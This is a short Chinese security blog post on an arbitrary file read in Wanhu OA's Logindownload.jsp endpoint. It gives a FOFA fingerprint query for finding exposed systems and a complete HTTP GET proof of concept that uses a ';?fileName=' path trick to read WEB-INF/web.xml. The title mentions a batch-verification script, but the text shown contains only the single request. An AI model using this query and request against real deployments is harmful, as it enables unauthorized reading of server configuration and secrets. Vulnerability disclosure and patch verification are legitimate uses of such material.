万户OA-logindownload-文件读取（含批量验证poc）

大家好，欢迎来到IT知识分享网。

产品介绍

万户OA是万户网络技术有限公司OA设计的一款软件。他涵盖了共同办公、信息充分关系、各种业务系统的综合共同办公平台。

漏洞描述

由于万户OA的Logindownload接口权限设置不当，可以通过构造特殊请求的方式获取系统敏感信息。

复现环境

fofa:header=”OASESSIONID”

漏洞复现

http://your-ip/defaultroot/public/edit/logindownload/Logindownload.jsp

POC

GET /defaultroot/public/edit/logindownload/Logindownload.jsp;?fileName=WEB-INF/web.xml HTTP/1.1 Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1